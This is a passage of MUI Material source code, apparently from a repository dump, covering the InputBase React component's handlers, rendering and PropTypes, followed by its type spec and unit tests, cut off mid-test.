   [onFilled, onEmpty],\n  );\n\n  useEnhancedEffect(() => {\n    if (isControlled) {\n      checkDirty({ value });\n    }\n  }, [value, checkDirty, isControlled]);\n\n  const handleFocus = (event) => {\n    if (onFocus) {\n      onFocus(event);\n    }\n    if (inputPropsProp.onFocus) {\n      inputPropsProp.onFocus(event);\n    }\n\n    if (muiFormControl && muiFormControl.onFocus) {\n      muiFormControl.onFocus(event);\n    } else {\n      setFocused(true);\n    }\n  };\n\n  const handleBlur = (event) => {\n    if (onBlur) {\n      onBlur(event);\n    }\n    if (inputPropsProp.onBlur) {\n      inputPropsProp.onBlur(event);\n    }\n\n    if (muiFormControl && muiFormControl.onBlur) {\n      muiFormControl.onBlur(event);\n    } else {\n      setFocused(false);\n    }\n  };\n\n  const handleChange = (event, ...args) => {\n    if (!isControlled) {\n      const element = event.target || inputRef.current;\n      if (element == null) {\n        throw /* minify-error */ new Error(\n          'MUI: Expected valid input target. ' +\n            'Did you use a custom `inputComponent` and forget to forward refs? ' +\n            'See https://mui.com/r/input-component-ref-interface for more info.',\n        );\n      }\n\n      checkDirty({\n        value: element.value,\n      });\n    }\n\n    if (inputPropsProp.onChange) {\n      inputPropsProp.onChange(event, ...args);\n    }\n\n    // Perform in the willUpdate\n    if (onChange) {\n      onChange(event, ...args);\n    }\n  };\n\n  // Check the input state on mount, in case it was filled by the user\n  // or auto filled by the browser before the hydration (for SSR).\n  React.useEffect(() => {\n    checkDirty(inputRef.current);\n    // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n\n  const handleClick = (event) => {\n    if (inputRef.current && event.currentTarget === event.target) {\n      inputRef.current.focus();\n    }\n\n    if (onClick) {\n      onClick(event);\n    }\n  };\n  let InputComponent = inputComponent;\n  let inputProps = inputPropsProp;\n\n  if (multiline && InputComponent === 'input') {\n    if (rows) {\n      if (process.env.NODE_ENV !== 'production') {\n        if (minRows || maxRows) {\n          console.warn(\n            'MUI: You can not use the `minRows` or `maxRows` props when the input `rows` prop is set.',\n          );\n        }\n      }\n      inputProps = {\n        type: undefined,\n        minRows: rows,\n        maxRows: rows,\n        ...inputProps,\n      };\n    } else {\n      inputProps = {\n        type: undefined,\n        maxRows,\n        minRows,\n        ...inputProps,\n      };\n    }\n\n    InputComponent = TextareaAutosize;\n  }\n\n  const handleAutoFill = (event) => {\n    // Provide a fake value as Chrome might not let you access it for security reasons.\n    checkDirty(event.animationName === 'mui-auto-fill-cancel' ? inputRef.current : { value: 'x' });\n  };\n\n  React.useEffect(() => {\n    if (muiFormControl) {\n      muiFormControl.setAdornedStart(Boolean(startAdornment));\n    }\n  }, [muiFormControl, startAdornment]);\n\n  const ownerState = {\n    ...props,\n    color: fcs.color || 'primary',\n    disabled: fcs.disabled,\n    endAdornment,\n    error: fcs.error,\n    focused: fcs.focused,\n    formControl: muiFormControl,\n    fullWidth,\n    hiddenLabel: fcs.hiddenLabel,\n    multiline,\n    size: fcs.size,\n    startAdornment,\n    type,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const Root = slots.root || InputBaseRoot;\n  const rootProps = slotProps.root || {};\n\n  const Input = slots.input || InputBaseInput;\n  inputProps = { ...inputProps, ...slotProps.input };\n\n  return (\n    <React.Fragment>\n      {!disableInjectingGlobalStyles && typeof InputGlobalStyles === 'function' && (\n        // For Emotion/Styled-components, InputGlobalStyles will be a function\n        // For Pigment CSS, this has no effect because the InputGlobalStyles will be null.\n        <InputGlobalStyles />\n      )}\n\n      <Root\n        {...rootProps}\n        ref={ref}\n        onClick={handleClick}\n        {...other}\n        {...(!isHostComponent(Root) && {\n          ownerState: { ...ownerState, ...rootProps.ownerState },\n        })}\n        className={clsx(\n          classes.root,\n          {\n            // TODO v6: remove this class as it duplicates with the global state class Mui-readOnly\n            'MuiInputBase-readOnly': readOnly,\n          },\n          rootProps.className,\n          className,\n        )}\n      >\n        {startAdornment}\n        <FormControlContext.Provider value={null}>\n          <Input\n            aria-invalid={fcs.error}\n            aria-describedby={ariaDescribedby}\n            autoComplete={autoComplete}\n            autoFocus={autoFocus}\n            defaultValue={defaultValue}\n            disabled={fcs.disabled}\n            id={id}\n            onAnimationStart={handleAutoFill}\n            name={name}\n            placeholder={placeholder}\n            readOnly={readOnly}\n            required={fcs.required}\n            rows={rows}\n            value={value}\n            onKeyDown={onKeyDown}\n            onKeyUp={onKeyUp}\n            type={type}\n            {...inputProps}\n            {...(!isHostComponent(Input) && {\n              as: InputComponent,\n              ownerState: { ...ownerState, ...inputProps.ownerState },\n            })}\n            ref={handleInputRef}\n            className={clsx(\n              classes.input,\n              {\n                // TODO v6: remove this class as it duplicates with the global state class Mui-readOnly\n                'MuiInputBase-readOnly': readOnly,\n              },\n              inputProps.className,\n            )}\n            onBlur={handleBlur}\n            onChange={handleChange}\n            onFocus={handleFocus}\n          />\n        </FormControlContext.Provider>\n        {endAdornment}\n        {renderSuffix\n          ? renderSuffix({\n              ...fcs,\n              startAdornment,\n            })\n          : null}\n      </Root>\n    </React.Fragment>\n  );\n});\n\nInputBase.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * @ignore\n   */\n  'aria-describedby': PropTypes.string,\n  /**\n   * This prop helps users to fill forms faster, especially on mobile devices.\n   * The name can be confusing, as it's more like an autofill.\n   * You can learn more about it [following the specification](https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#autofill).\n   */\n  autoComplete: PropTypes.string,\n  /**\n   * If `true`, the `input` element is focused during the first mount.\n   */\n  autoFocus: PropTypes.bool,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * The prop defaults to the value (`'primary'`) inherited from the parent FormControl component.\n   */\n  color: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['primary', 'secondary', 'error', 'info', 'success', 'warning']),\n    PropTypes.string,\n  ]),\n  /**\n   * The default value. Use when the component is not controlled.\n   */\n  defaultValue: PropTypes.any,\n  /**\n   * If `true`, the component is disabled.\n   * The prop defaults to the value (`false`) inherited from the parent FormControl component.\n   */\n  disabled: PropTypes.bool,\n  /**\n   * If `true`, GlobalStyles for the auto-fill keyframes will not be injected/removed on mount/unmount. Make sure to inject them at the top of your application.\n   * This option is intended to help with boosting the initial rendering performance if you are loading a big amount of Input components at once.\n   * @default false\n   */\n  disableInjectingGlobalStyles: PropTypes.bool,\n  /**\n   * End `InputAdornment` for this component.\n   */\n  endAdornment: PropTypes.node,\n  /**\n   * If `true`, the `input` will indicate an error.\n   * The prop defaults to the value (`false`) inherited from the parent FormControl component.\n   */\n  error: PropTypes.bool,\n  /**\n   * If `true`, the `input` will take up the full width of its container.\n   * @default false\n   */\n  fullWidth: PropTypes.bool,\n  /**\n   * The id of the `input` element.\n   */\n  id: PropTypes.string,\n  /**\n   * The component used for the `input` element.\n   * Either a string to use a HTML element or a component.\n   * @default 'input'\n   */\n  inputComponent: elementTypeAcceptingRef,\n  /**\n   * [Attributes](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input#attributes) applied to the `input` element.\n   * @default {}\n   */\n  inputProps: PropTypes.object,\n  /**\n   * Pass a ref to the `input` element.\n   */\n  inputRef: refType,\n  /**\n   * If `dense`, will adjust vertical spacing. This is normally obtained via context from\n   * FormControl.\n   * The prop defaults to the value (`'none'`) inherited from the parent FormControl component.\n   */\n  margin: PropTypes.oneOf(['dense', 'none']),\n  /**\n   * Maximum number of rows to display when multiline option is set to true.\n   */\n  maxRows: PropTypes.oneOfType([PropTypes.number, PropTypes.string]),\n  /**\n   * Minimum number of rows to display when multiline option is set to true.\n   */\n  minRows: PropTypes.oneOfType([PropTypes.number, PropTypes.string]),\n  /**\n   * If `true`, a [TextareaAutosize](https://mui.com/material-ui/react-textarea-autosize/) element is rendered.\n   * @default false\n   */\n  multiline: PropTypes.bool,\n  /**\n   * Name attribute of the `input` element.\n   */\n  name: PropTypes.string,\n  /**\n   * Callback fired when the `input` is blurred.\n   *\n   * Notice that the first argument (event) might be undefined.\n   */\n  onBlur: PropTypes.func,\n  /**\n   * Callback fired when the value is changed.\n   *\n   * @param {React.ChangeEvent<HTMLTextAreaElement | HTMLInputElement>} event The event source of the callback.\n   * You can pull out the new value by accessing `event.target.value` (string).\n   */\n  onChange: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onClick: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onFocus: PropTypes.func,\n  /**\n   * Callback fired when the `input` doesn't satisfy its constraints.\n   */\n  onInvalid: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onKeyDown: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onKeyUp: PropTypes.func,\n  /**\n   * The short hint displayed in the `input` before the user enters a value.\n   */\n  placeholder: PropTypes.string,\n  /**\n   * It prevents the user from changing the value of the field\n   * (not from interacting with the field).\n   */\n  readOnly: PropTypes.bool,\n  /**\n   * @ignore\n   */\n  renderSuffix: PropTypes.func,\n  /**\n   * If `true`, the `input` element is required.\n   * The prop defaults to the value (`false`) inherited from the parent FormControl component.\n   */\n  required: PropTypes.bool,\n  /**\n   * Number of rows to display when multiline option is set to true.\n   */\n  rows: PropTypes.oneOfType([PropTypes.number, PropTypes.string]),\n  /**\n   * The size of the component.\n   */\n  size: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['medium', 'small']),\n    PropTypes.string,\n  ]),\n  /**\n   * The extra props for the slot components.\n   * You can override the existing props or add new ones.\n   *\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    input: PropTypes.object,\n    root: PropTypes.object,\n  }),\n  /**\n   * The components used for each slot inside.\n   *\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    input: PropTypes.elementType,\n    root: PropTypes.elementType,\n  }),\n  /**\n   * Start `InputAdornment` for this component.\n   */\n  startAdornment: PropTypes.node,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * Type of the `input` element. It should be [a valid HTML5 input type](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input#input_types).\n   * @default 'text'\n   */\n  type: PropTypes.string,\n  /**\n   * The value of the `input` element, required for a controlled component.\n   */\n  value: PropTypes.any,\n};\n\nexport default InputBase;\n"
  },
  {
    "path": "packages/mui-material/src/InputBase/InputBase.spec.tsx",
    "content": "import * as React from 'react';\nimport { expectType } from '@mui/types';\nimport InputBase from '@mui/material/InputBase';\n\n<InputBase\n  onInvalid={(event) => {\n    expectType<React.FormEvent<HTMLInputElement | HTMLTextAreaElement>, typeof event>(event);\n  }}\n/>;\n\n// Tests presence of `sx` prop on input and root slot\n<InputBase\n  slotProps={{\n    input: {\n      sx: {\n        background: 'white',\n      },\n    },\n    root: {\n      sx: {\n        background: 'black',\n      },\n    },\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-material/src/InputBase/InputBase.test.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport {\n  act,\n  createRenderer,\n  fireEvent,\n  screen,\n  reactMajor,\n  isJsdom,\n} from '@mui/internal-test-utils';\nimport { ThemeProvider } from '@emotion/react';\nimport FormControl, { useFormControl } from '@mui/material/FormControl';\nimport InputAdornment from '@mui/material/InputAdornment';\nimport TextField from '@mui/material/TextField';\nimport Select from '@mui/material/Select';\nimport InputBase, { inputBaseClasses as classes } from '@mui/material/InputBase';\nimport { createTheme } from '@mui/material/styles';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<InputBase />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<InputBase />, () => ({\n    classes,\n    inheritComponent: 'div',\n    render,\n    refInstanceof: window.HTMLDivElement,\n    muiName: 'MuiInputBase',\n    testVariantProps: { size: 'small' },\n    slots: {\n      // can't test with DOM element as InputBase places an ownerState prop on it unconditionally.\n      root: { expectedClassName: classes.root, testWithElement: null },\n      input: { expectedClassName: classes.input, testWithElement: null },\n    },\n    skip: [\n      'componentProp',\n      'slotPropsCallback', // not supported yet\n      'slotPropsCallbackWithPropsAsOwnerState', // not supported yet\n    ],\n  }));\n\n  it('should render an <input /> inside the div', () => {\n    const { container } = render(<InputBase />);\n    const input = container.querySelector('input');\n    expect(input).to.have.attribute('type', 'text');\n    expect(input).to.have.class(classes.input);\n    expect(input).not.to.have.attribute('required');\n  });\n\n  it('should add the right class when size is small', () => {\n    const { container } = render(<InputBase size=\"small\" />);\n    expect(container.firstChild).to.have.class(classes.sizeSmall);\n  });\n\n  describe('multiline', () => {\n    it('should render a `textbox` with `aria-multiline`', () => {\n      render(<InputBase multiline />);\n\n      const textarea = screen.getByRole('textbox', { hidden: false });\n      // implicit `aria-multiline`\n      expect(textarea).to.have.tagName('textarea');\n    });\n\n    it('should render a `textbox` with `aria-multiline` if `rows` is specified', () => {\n      render(<InputBase multiline rows={4} />);\n\n      const textarea = screen.getByRole('textbox', { hidden: false });\n      // implicit `aria-multiline`\n      expect(textarea).to.have.tagName('textarea');\n    });\n\n    it('should forward the value to the textarea', () => {\n      render(<InputBase multiline maxRows={4} value=\"Hello\" />);\n\n      const textarea = screen.getByRole('textbox', { hidden: false });\n      expect(textarea).to.have.value('Hello');\n    });\n\n    it('should preserve state when changing rows', () => {\n      const { setProps } = render(<InputBase multiline />);\n      const textarea = screen.getByRole('textbox', { hidden: false });\n      act(() => {\n        textarea.focus();\n      });\n\n      setProps({ rows: 4 });\n\n      expect(textarea).toHaveFocus();\n    });\n  });\n\n  describe('prop: disabled', () => {\n    it('should render a disabled <input />', () => {\n      const { container } = render(<InputBase disabled />);\n      const input = container.querySelector('input');\n      expect(input).to.have.class(classes.input);\n      expect(input).to.have.class(classes.disabled);\n    });\n\n    it('should reset the focused state if getting disabled', () => {\n      const handleBlur = spy();\n      const handleFocus = spy();\n      const { container, setProps } = render(\n        <InputBase onBlur={handleBlur} onFocus={handleFocus} />,\n      );\n\n      act(() => {\n        container.querySelector('input').focus();\n      });\n      expect(handleFocus.callCount).to.equal(1);\n\n      setProps({ disabled: true });\n      expect(handleBlur.callCount).to.equal(1);\n      // check if focus not initiated again\n      expect(handleFocus.callCount).to.equal(1);\n    });\n\n    it('fires the click event when the <input /> is disabled', () => {\n      const handleClick = spy();\n      render(<InputBase disabled onClick={handleClick} />);\n      const input = screen.getByRole('textbox');\n      fireEvent.click(input);\n      expect(handleClick.callCount).to.equal(1);\n    });\n  });\n\n  describe('prop: readonly', () => {\n    it('should render a readonly <input />', () => {\n      render(<InputBase readOnly />);\n      const input = screen.getByRole('textbox');\n      expect(input).to.have.class(classes.input);\n      expect(input).to.have.class(classes.readOnly);\n      expect(input).to.have.property('readOnly');\n    });\n  });\n\n  it('should fire event callbacks', () => {\n    const handleChange = spy();\n    const handleFocus = spy();\n    const handleBlur = spy();\n    const handleKeyUp = spy();\n    const handleKeyDown = spy();\n\n    render(\n      <InputBase\n        onChange={handleChange}\n        onFocus={handleFocus}\n        onBlur={handleBlur}\n        onKeyUp={handleKeyUp}\n        onKeyDown={handleKeyDown}\n      />,\n    );\n\n    const input = screen.getByRole('textbox');\n\n    // simulating user input: gain focus, key input (keydown, (input), change, keyup), blur\n\n    act(() => {\n      input.focus();\n    });\n    expect(handleFocus.callCount).to.equal(1);\n\n    fireEvent.keyDown(input, { key: 'a' });\n    expect(handleKeyDown.callCount).to.equal(1);\n\n    fireEvent.change(input, { target: { value: 'a' } });\n    expect(handleChange.callCount).to.equal(1);\n\n    fireEvent.keyUp(input, { key: 'a' });\n    expect(handleKeyUp.callCount).to.equal(1);\n\n    act(() => {\n      input.blur();\n    });\n    expect(handleBlur.callCount).to.equal(1);\n  });\n\n  describe('controlled', () => {\n    it('should considered [] as controlled', () => {\n      render(<InputBase value={[]} />);\n      const input = screen.getByRole('textbox');\n\n      expect(input).to.have.property('value', '');\n      fireEvent.change(input, { target: { value: 'do not work' } });\n      expect(input).to.have.property('value', '');\n    });\n  });\n\n  describe('prop: inputComponent', () => {\n    it('should accept any html component', () => {\n      render(<InputBase inputComponent=\"span\" inputProps={{ 'data-testid': 'input-component' }} />);\n\n      expect(screen.getByTestId('input-component')).to.have.property('nodeName', 'SPAN');\n    });\n\n    it('should inject onBlur and onFocus', () => {\n      let injectedProps;\n      const MyInputBase = React.forwardRef(function MyInputBase(props, ref) {\n        // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler\n        injectedProps = props;\n        return <input ref={ref} {...props} />;\n      });\n      render(<InputBase inputComponent={MyInputBase} />);\n      expect(typeof injectedProps.onBlur).to.equal('function');\n      expect(typeof injectedProps.onFocus).to.equal('function');\n    });\n\n    describe('target mock implementations', () => {\n      it('can just mock the value', () => {\n        const MockedValue = React.forwardRef(function MockedValue(props, ref) {\n          const { onChange } = props;\n\n          const handleChange = (event) => {\n            onChange({ target: { value: event.target.value } });\n          };\n\n          return <input ref={ref} onChange={handleChange} />;\n        });\n        MockedValue.propTypes = { onChange: PropTypes.func.isRequired };\n\n        function FilledState(props) {\n          const { filled } = useFormControl();\n          return <span {...props}>filled: {String(filled)}</span>;\n        }\n\n        render(\n          <FormControl>\n            <FilledState data-testid=\"filled\" />\n            <InputBase inputComponent={MockedValue} />\n          </FormControl>,\n        );\n\n        expect(screen.getByTestId('filled')).to.have.text('filled: false');\n\n        fireEvent.change(screen.getByRole('textbox'), { target: { value: 1 } });\n        expect(screen.getByTestId('filled')).to.have.text('filled: true');\n      });\n\n      it(\"can expose the input component's ref through the inputComponent prop\", () => {\n        const FullTarget = React.forwardRef(function FullTarget(props, ref) {\n          return <input ref={ref} {...props} />;\n        });\n\n        function FilledState(props) {\n          const { filled } = useFormControl();\n          return <span {...props}>filled: {String(filled)}</span>;\n        }\n\n        render(\n          <FormControl>\n            <FilledState data-testid=\"filled\" />\n            <InputBase inputComponent={FullTarget} />\n          </FormControl>,\n        );\n\n        expect(screen.getByTestId('filled')).to.have.text('filled: false');\n\n        fireEvent.change(screen.getByRole('textbox'), { target: { value: 1 } });\n        expect(screen.getByTestId('filled')).to.have.text('filled: true');\n      });\n    });\n\n    describe('errors', () => {\n      it(\"throws on change if the target isn't mocked\", () => {\n        /**\n         * This component simulates a custom input component that hides the inner\n         * input value for security reasons e.g. react-stripe-element.\n         *\n         * A ref is exposed to trigger a change event instead of using fireEvent.change\n         */\n        const BadInputComponent = React.forwardRef(function BadInputComponent(props, ref) {\n          const { onChange } = props;\n\n          // simulates const handleChange = () => onChange({}) and passing that\n          // handler to the onChange prop of `input`\n          React.useImperativeHandle(ref, () => () => onChange({}));\n\n          return <input />;\n        });\n\n        BadInputComponent.propTypes = {\n          onChange: PropTypes.func.isRequired,\n        };\n\n        const triggerChangeRef = React.createRef();\n\n        const errorMessage =\n          'MUI: You have provided a `inputComponent` to the input component\\nthat does not correctly handle the `ref` prop.\\nMake sure the `ref` prop is called with a HTMLInputElement.';\n\n        let expectedOccurrences = 1;\n\n        if (reactMajor >= 18) {\n          expectedOccurrences = 2;\n        }\n\n        expect(() => {\n          render(\n            <InputBase inputProps={{ ref: triggerChangeRef }} inputComponent={BadInputComponent} />,\n          );\n        }).toErrorDev(Array(expectedOccurrences).fill(errorMessage));\n      });\n    });\n  });\n\n  describe('with FormControl', () => {\n    it('should have the formControl class', () => {\n      render(\n        <FormControl>\n          <InputBase data-testid=\"root\" />\n        </FormControl>,\n      );\n\n      expect(screen.getByTestId('root')).to.have.class(classes.formControl);\n    });\n\n    describe('callbacks', () => {\n      it('should fire the onClick prop', () => {\n        const handleClick = spy();\n        const handleFocus = spy();\n\n        render(\n          <FormControl>\n            <InputBase data-testid=\"root\" onClick={handleClick} onFocus={handleFocus} />\n          </FormControl>,\n        );\n\n        fireEvent.click(screen.getByTestId('root'));\n        expect(handleClick.callCount).to.equal(1);\n        expect(handleFocus.callCount).to.equal(1);\n      });\n    });\n\n    describe('error', () => {\n      it('should be overridden by props', () => {\n        function InputBaseInErrorForm(props) {\n          return (\n            <FormControl error>\n              <InputBase data-testid=\"root\" {...props} />\n            </FormControl>\n          );\n        }\n\n        const { setProps } = render(<InputBaseInErrorForm />);\n        expect(screen.getByTestId('root')).to.have.class(classes.error);\n\n        setProps({ error: false });\n        expect(screen.getByTestId('root')).not.to.have.class(classes.error);\n\n        setProps({ error: true });\n        expect(screen.getByTestId('root')).to.have.class(classes.error);\n      });\n    });\n\n    describe('size', () => {\n      it('should have the sizeSmall class in a dense context', () => {\n        render(\n          <FormControl size=\"small\">\n            <InputBase data-testid=\"root\" />\n          </FormControl>,\n        );\n        expect(screen.getByTestId('root')).to.have.class(classes.sizeSmall);\n        expect(screen.getByRole('textbox')).to.have.class(classes.input);\n      });\n\n      it('should be overridden by props', () => {\n        function InputBaseInFormWithMargin(props) {\n          return (\n            <FormControl size=\"medium\">\n              <InputBase data-testid=\"root\" {...props} />\n            </FormControl>\n          );\n        }\n        const { setProps } = render(<InputBaseInFormWithMargin />);\n        expect(screen.getByTestId('root')).not.to.have.class(classes.sizeSmall);\n\n        setProps({ size: 'small' });\n        expect(screen.getByTestId('root')).to.have.class(classes.sizeSmall);\n        expect(screen.getByRole('textbox')).to.have.class(classes.input);\n      });\n\n      it('has a hiddenLabel class to further reduce margin', () => {\n        render(\n          <FormControl hiddenLabel margin=\"dense\">\n            <InputBase data-testid=\"root\" />\n          </FormControl>,\n        );\n\n        expect(screen.getByTestId('root')).to.have.class(classes.hiddenLabel);\n        expect(screen.getByRole('textbox')).to.have.class(classes.input);\n      });\n    });\n\n    describe('required', () => {\n      it('should have the aria-required prop with value true', () => {\n        const { container } = render(\n          <FormControl required>\n            <InputBase />\n          </FormControl>,\n        );\n        const input = container.querySelector('input');\n        expect(input).to.have.property('required', true);\n      });\n    });\n\n    describe('focused', () => {\n      it('prioritizes context focus', () => {\n        const FormController = React.forwardRef((props, ref) => {\n          const { onBlur, onFocus } = useFormControl();\n\n          React.useImperativeHandle(ref, () => ({ onBlur, onFocus }), [onBlur, onFocus]);\n\n          return null;\n        });\n        const controlRef = React.createRef();\n\n        render(\n          <FormControl>\n            <FormController ref={controlRef} />\n            <InputBase data-testid=\"root\" />\n          </FormControl>,\n        );\n\n        act(() => {\n          screen.getByRole('textbox').focus();\n        });\n        expect(screen.getByTestId('root')).to.have.class(classes.focused);\n\n        act(() => {\n          controlRef.current.onBlur();\n        });\n\n        expect(screen.getByTestId('root')).not.to.have.class(classes.focused);\n\n        act(() => {\n          controlRef.current.onFocus();\n        });\n\n        expect(screen.getByTestId('root')).to.have.class(classes.focused);\n      });\n\n      it('propagates focused state', () => {\n        function FocusedStateLabel(props) {\n          const { focused } = useFormControl();\n          return <label {...props}>focused: {String(focused)}</label>;\n        }\n\n        render(\n          <FormControl>\n            <FocusedStateLabel data-testid=\"label\" htmlFor=\"input\" />\n            <InputBase id=\"input\" />\n          </FormControl>,\n        );\n\n        expect(screen.getByTestId('label')).to.have.text('focused: false');\n\n        act(() => {\n          screen.getByRole('textbox').focus();\n        });\n        expect(screen.getByTestId('label')).to.have.text('focused: true');\n\n        act(() => {\n          screen.getByRole('textbox').blur();\n        });\n        expect(screen.getByTestId('label')).to.have.text('focused: false');\n      });\n    });\n\n    it('propagates filled state when uncontrolled', () => {\n      function FilledStateLabel(props) {\n        const { filled } = useFormControl();\n        return <label {...props}>filled: {String(filled)}</label>;\n      }\n\n      render(\n        <FormControl>\n          <FilledStateLabel data-testid=\"label\" />\n          <InputBase />\n        </FormControl>,\n      );\n\n      expect(screen.getByTestId('label')).to.have.text('filled: false');\n      const textbox = screen.getByRole('textbox');\n\n      fireEvent.change(textbox, { target: { value: 'material' } });\n      expect(screen.getByTestId('label')).to.have.text('filled: true');\n\n      fireEvent.change(textbox, { target: { value: '0' } });\n      expect(screen.getByTestId('label')).to.have.text('filled: true');\n\n      fireEvent.change(textbox, { target: { value: '' } });\n      expect(screen.getByTestId('label')).to.have.text('filled: false');\n    });\n\n    it('propagates filled state when controlled', () => {\n      function FilledStateLabel(props) {\n        const { filled } = useFormControl();\n        return <label {...props}>filled: {String(filled)}</label>;\n      }\n      function ControlledInputBase(props) {\n        return (\n          <FormControl>\n            <FilledStateLabel data-testid=\"label\" />\n            <InputBase {...props} />\n          </FormControl>\n        );\n      }\n      const { setProps } = render(<ControlledInputBase value=\"\" />);\n      expect(screen.getByTestId('label')).to.have.text('filled: false');\n\n      setProps({ value: 'material' });\n      expect(screen.getByTestId('label')).to.have.text('filled: true');\n\n      setProps({ value: 0 });\n      expect(screen.getByTestId('label')).to.have.text('filled: true');\n\n      setProps({ value: '' });\n      expect(screen.getByTestId('label')).to.have.text('filled: false');\n    });\n\n    describe('registering input', () => {\n      it(\"should warn if more than one input is rendered regardless how it's nested\", () => {\n        const errorMessage =\n          'MUI: There are multiple `InputBase` components inside a FormControl.\\nThis creates visual inconsistencies, only use one `InputBase`.';\n\n        let expectedOccurrences = 1;\n\n        if (reactMajor >= 18) {\n          expectedOccurrences = 2;\n        }\n        expect(() => {\n          render(\n            <FormControl>\n              <InputBase />\n              <div>\n                {/* should work regardless how it's nested */}\n                <InputBase />\n              </div>\n            </FormControl>,\n          );\n        }).toErrorDev(Array(expectedOccurrences).fill(errorMessage));\n      });\n\n      it('should not warn if only one input is rendered', () => {\n        expect(() => {\n          render(\n            <FormControl>\n              <InputBase />\n            </FormControl>,\n          );\n        }).not.toErrorDev();\n      });\n\n      it('should not warn when toggling between inputs', () => {\n        // this will ensure that deregistering was called during unmount\n        function ToggleFormInputs() {\n          const [flag, setFlag] = React.useState(true);\n\n          return (\n            <FormControl>\n              {flag ? (\n                <InputBase />\n              ) : (\n                <Select native>\n                  <option value=\"\">empty</option>\n                </Select>\n              )}\n              <button type=\"button\" onClick={() => setFlag(!flag)}>\n                toggle\n              </button>\n            </FormControl>\n          );\n        }\n\n        render(<ToggleFormInputs />);\n        expect(() => {\n          fireEvent.click(screen.getByText('toggle'));\n        }).not.toErrorDev();\n      });\n    });\n  });\n\n  describe('prop: inputProps', () => {\n    it('should apply the props on the input', () => {\n      const { container } = render(<InputBase inputProps={{ className: 'foo', maxLength: 5 }} />);\n      const input = container.querySelector('input');\n      expect(input).to.have.class('foo');\n      expect(input).to.have.class(classes.input);\n      expect(input).to.have.property('maxLength', 5);\n    });\n\n    it('should be able to get a ref', () => {\n      const inputRef = React.createRef();\n      const { container } = render(<InputBase inputProps={{ ref: inputRef }} />);\n      expect(inputRef.current).to.equal(container.querySelector('input'));\n    });\n\n    it('should not repeat the same classname', () => {\n      const { container } = render(<InputBase inputProps={{ className: 'foo' }} />);\n      const input = container.querySelector('input');\n      const matches = input.className.match(/foo/g);\n      expect(input).to.have.class('foo');\n      expect(matches).to.have.length(1);\n    });\n  });\n\n  describe('prop: inputComponent with prop: inputProps', () => {\n    it('should call onChange inputProp callback with all params sent from custom inputComponent', () => {\n      const INPUT_VALUE = 'material';\n      const OUTPUT_VALUE = 'test';\n\n      const MyInputBase = React.forwardRef(function MyInputBase(props, ref) {\n        const { onChange, ...other } = props;\n\n        const handleChange = (event) => {\n          onChange(event.target.value, OUTPUT_VALUE);\n        };\n\n        return <input ref={ref} onChange={handleChange} {...other} />;\n      });\n\n      MyInputBase.propTypes = {\n        onChange: PropTypes.func.isRequired,\n      };\n\n      let outputArguments;\n      function parentHandleChange(...args) {\n        outputArguments = args;\n      }\n\n      render(\n        <InputBase inputComponent={MyInputBase} inputProps={{ onChange: parentHandleChange }} />,\n      );\n\n      const textbox = screen.getByRole('textbox');\n      fireEvent.change(textbox, { target: { value: INPUT_VALUE } });\n\n      expect(outputArguments.length).to.equal(2);\n      expect(outputArguments[0]).to.equal(INPUT_VALUE);\n      expect(outputArguments[1]).to.equal(OUTPUT_VALUE);\n    });\n  });\n\n  describe('prop: startAdornment, prop: endAdornment', () => {\n    it('should render adornment before input', () => {\n      render(\n        <InputBase\n          startAdornment={\n            <InputAdornment data-testid=\"adornment\" position=\"start\">\n              $\n            </InputAdornment>\n          }\n        />,\n      );\n\n      expect(screen.getByTestId('adornment')).not.to.equal(null);\n    });\n\n    it('should render adornment after input', () => {\n      render(\n        <InputBase\n          endAdornment={\n            <InputAdornment data-testid=\"adornment\" position=\"end\">\n              $\n            </InputAdornment>\n          }\n        />,\n      );\n\n      expect(screen.getByTestId('adornment')).not.to.equal(null);\n    });\n\n    it('should allow a Select as an adornment', () => {\n      render(\n        <TextField\n          value=\"\"\n          name=\"text\"\n          variant=\"standard\"\n          slotProps={{\n            input: {\n              endAdornment: (\n                <InputAdornment position=\"end\">\n                  <Select value=\"\" name=\"suffix\" />\n                </InputAdornment>\n              ),\n            },\n          }}\n        />,\n      );\n    });\n  });\n\n  describe('prop: inputRef', () => {\n    it('should be able to access the native input', () => {\n      const inputRef = React.createRef();\n      const { container } = render(<InputBase inputRef={inputRef} />);\n      expect(inputRef.current).to.equal(container.querySelector('input'));\n    });\n\n    it('should be able to access the native textarea', () => {\n      const inputRef = React.createRef();\n      const { container } = render(<InputBase multiline inputRef={inputRef} />);\n      